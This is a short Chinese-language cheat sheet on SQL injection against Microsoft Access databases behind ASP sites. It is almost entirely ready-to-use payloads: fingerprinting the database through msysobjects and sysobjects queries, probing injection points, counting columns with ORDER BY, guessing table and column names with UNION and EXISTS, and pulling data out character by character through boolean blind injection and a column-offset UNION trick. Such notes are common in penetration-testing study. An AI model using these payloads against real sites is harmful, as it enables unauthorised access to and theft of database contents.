端口:无
没有数据库概念,一个文件就是一个库
通常是asp+access搭配,只存在联合查询和bool盲注两种注入方式
Access数据库结构:
表名->列名->内容数据
asp、aspx通常为mssql或access数据库
| 判断 | 结果 |
|---|---|
and exists (select * from msysobjects)>0 |
access |
?id=1' and exists (select * from sysobjects)>0 – |
mssql |
| and sleep(3) | mysql |
注入步骤
| 方法 | 语句 |
|---|---|
| 判断数据库类型 | and exists (select * from msysobjects)>0 返回正为access数据库 ?id=1' and exists (select * from sysobjects)>0 – 返回正常是mssql数据库 |
| 判断注入点 | and 1=1 and 1=0 |
| 判断列数 | order by |
| 猜解表名、列名 | 1、union猜解 猜表名 ?id=1 union select 1,2,3,4 from 表名 猜列名 ?id=1 union select 1,列名,3,4 from 表名 2、exists猜解 猜表名 ?id=1 and exists(select * from 表名) 或 ?id=1 and 0 < > (select count(*) from 表名) 猜列名 ?id=1 and exists(select 列名 from 表名) |
| 暴数据 | 1、盲注 猜长度: ?id=1 and (select top 1 len(列名) from 表名)=猜解的长度 猜内容: ?id=1 and (select top 1 asc(mid(列名,1,1)) from 表名)>猜解的ascii码值 2、移位溢出 union select 1,2,3,4,5,6,7,table.* from 表名; union select 1,2,3,4,5,6,table.*,7 from 表名; union select 1,2,3,4,5,table.*,6,7 from 表名; |